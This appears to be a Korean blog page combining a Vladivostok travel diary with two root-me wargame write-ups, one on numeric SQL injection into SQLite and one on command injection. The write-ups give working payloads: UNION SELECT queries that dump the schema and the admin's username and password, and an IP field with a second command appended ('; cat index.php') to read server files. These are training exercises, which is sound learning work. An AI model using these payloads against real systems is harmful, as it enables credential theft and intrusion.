반응형


작년 추석 즈음에 충동적으로 혼자 떠났던 여행인 블라디보스톡, 벌써 시간은 어연 1년 가까이 흘렀네요ㅜ

블로그 포스팅을 해야지라는 생각만 하다가...더 이상 미루면 기억 속에서 흐릿해질것만 같아 지금이라도 포스팅을 해보려고 합니다~~


1. 비행편 : 시베리아 항공 S7

추석 가까이라 왕복 비행권은 좀 비싸게 갔다온 편인데요, 그 즈음엔 제주항공이 블라디보스톡 신규로 취항한 상태라 더 싸게 구한 사람들을 많이 봐서 배가 아팠던 기억이 납니다... 


제가 이용한 비행편은 4시 쯤 출발해서 오후 한시 정도에 돌아오는 비행편이었습니다. (4박5일)

참고로, 블라디보스톡의 대중교통은 일찍 끝나기 때문에 7시 15분에 도착하면 간당간당한 시간이었습니다.

저는 한인민박에서 운영하는 공항 픽업 서비스를 이용하였습니다. (인당 편도 550루블 정도로 기억이 나네요. 한화 18000원 정도)


2. 숙소 : Optimum Guest House

비행편을 조금 비싸게 구한 편이었기 때문에 숙소는 게스트하우스를 이용하기로 하였습니다. (본인은 숙소가 그리 중요하지 않은 성격임)

여자 전용 방이었고, 정원 8명이 이용하였습니다. 러시아 여성분 한분이 장기 투숙으로 이용하고 있었고, 한국인도 꽤 많이 이용하고 있었어요!! 방과 공용으로 사용하고 있는 샤워실의 청결 괜찮았습니다.


가격은 하루에 5천원 정도로 기억하고 있습니다. 타 한인 민박의 반 값 정도였으니까요..

숙소 위치 또한 혁명 광장 바로 옆이라서 정말 좋았습니다.(블라디보스톡의 모든 관광지는 도보로 이용가능함)

(사진 고자라... 양해 부탁드립니다ㅠㅠ)



3. 식사 : DAY1 저녁_수프라

블라디보스톡은 한국과 한시간 가량의 시차가 납니다.. 그래서 열시였지만!! 저녁을 먹기로 결정했습니다.

공항 픽업을 함께 이용했던 사람들과 수프라를 찾아갔어요. 


식당 분위기가 다 붉은 톤이라 음식이 되게 붉게 보이네요ㅠㅠ

수프라의 메인 메뉴인 힝깔라!!는 꼭 드셔보길 추천드려요! 저는 튀긴 힝깔라는 다 품절이라 못먹어봤는데 진짜 맛있데요ㅜㅜ


여기까지가 홀로 떠난 블라디보스톡 DAY1 입니다.

DAY2부터 진정한 여행이 시작되니 기대해주세요!!



반응형
반응형

SQL Injection문제입니다.  관리자의 패스워드를 알아야하는 문제군요.



스크린 샷을 찍지는 않았지만, 문제를 들어가보면 메뉴가 3개가 나와있습니다. 그 중 첫번째 메뉴를 클릭하면 URL상에 파라미터가 action=news&news_id=1 이 전송됩니다.

문제 이름이 numeric인 만큼 news_id 파라미터가 매우 의심이 가는데요, 


1. ?action=news&news_id=2-1 << 시도해보았습니다.

결과 ; 에러 출력 없이 첫번째 메뉴가 정상적으로 열람되는 것을 보아 정수형 SQL Injection이 가능하다는 판단을 내릴 수 있습니다.


2.  ?action=news&news_id=1' << 이번에는 SQL Injection의 기본 형태인 싱글쿼터(')를 삽입해보았습니다.

에러 메시지로 SQLite3 데이터 베이스를 사용하고 있다는 것을 알 수 있습니다. 또한, '가 \로 치환되어 인식이 안된다는 것도 알 수 있군요..


3. 필드 갯수 구하기 ?action=news&news_id=1 order by 1-- 

                          ?action=news&news_id=1 order by 2--

                                ?action=news&news_id=1 order by 3-- 
                                ?action=news&news_id=1 order by 4-- << 에러 출력

order by 구문을 이용하여 필드의 갯수가 3개 인 것을 알 수 있었습니다. (order by 4--를 시도하면 에러가 출력되기 때문입니다.)



※ order by 구문과 동일한 역할을 하는 것이 union all select 구문입니다.

?antion=news&news_id=1 union all select null;

?antion=news&news_id=1 union all select null, null;

?antion=news&news_id=1 union all select null, null, null;

?antion=news&news_id=1 union all select null, null, null, null; << 에러 출력

null 인자를 하나씩 추가하여 필드 갯수 파악이 가능합니다.


4. sql query 문을 이용한 스키마 정보 파악 ?action=news&news_id=1 union select 1, sql, 3 from sqlite_master--

에러 메시지를 통해 sqlite3 데이터베이스를 사용하고 있다는 것을 파악했고, 찾아보니 sqlite의 데이터베이스의 스키마를 sqlite_master 테이블에 저장하고 있다고 하네요.

union select 구문은 컬럼 갯수를 맞춰야 하므로 1, sql, 3 으로 설정해서 sql 필드 정보를 알아보았습니다.

※ sql 필드에는 데이터베이스 생성 시 사용된 스키마 정보 중 테이블을 생성하는 CREATE TABLE 구문이 저장되어 있습니다.

결과를 보니 저희에게 필요한 테이블은 users 테이블이고, username과 password 컬럼을 출력해주면 되겠군요!!


5. username, password 출력 ?action=news&news_id=1 union select username, password, 3 from users--

마지막 작업 입니다.

users 테이블에서 username과 password(year라는 컬럼이 하나 더 있으므로 3 추가) 해주면

결과가 출력되었습니다!!~~


admin의 패스워드가 flag 값입니다. 


반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] PHP filters  (0) 2019.01.16
root-me >> SQL injection - blind  (0) 2018.06.08
root-me >> Command injection  (0) 2018.04.24
root-me >> HTTP Header  (0) 2018.02.23
root-me >> SQL injection - authentication  (0) 2018.02.22
반응형

너무 바빠서 오랜만에 포스트 하네요. 오늘은 Command Injection 입니다.

Start the challenge 버튼을 눌러 문제를 풀어봅시다.


루프백 아이피가 써있어서 제출을 눌러봤더니, 아무 동작을 하지 않습니다.

흠..일단 프록시 툴을 이용해봅시다.


제 PC에서만 그런건지? ip 인자 값이 널 값으로 전송되어 우선 루프백 아이피를 입력해서 전송해봅니다..


프록시 툴을 이용하니 정상적으로 결과값이 출력되네요~~


그렇다면 이번에는 Command Injection을 시도해봅니다.

; 기호가 리눅스 상에서는 명령어 2개를 연속으로 실행하는 아이이기 때문에 [아이피; 명령어] 를 삽입해봅니다.


오!! 해당 디렉토리에 있는 index.php 파일이 출력됬네요~ 

index.php 파일을 열면 뭐가 나올 것 같군요!@


[루프백 아이피; cat index.php] << 해당 명령어를 삽입하여 전송해보니!!


응답값으로 flag가 출력됬네요ㅎㅎ


반응형

'Study > Wargame' 카테고리의 다른 글

root-me >> SQL injection - blind  (0) 2018.06.08
root-me>>SQL injection - numeric  (0) 2018.05.01
root-me >> HTTP Header  (0) 2018.02.23
root-me >> SQL injection - authentication  (0) 2018.02.22
root-me >> Improper redirect  (0) 2018.02.22

+ Recent posts

반응형
반응형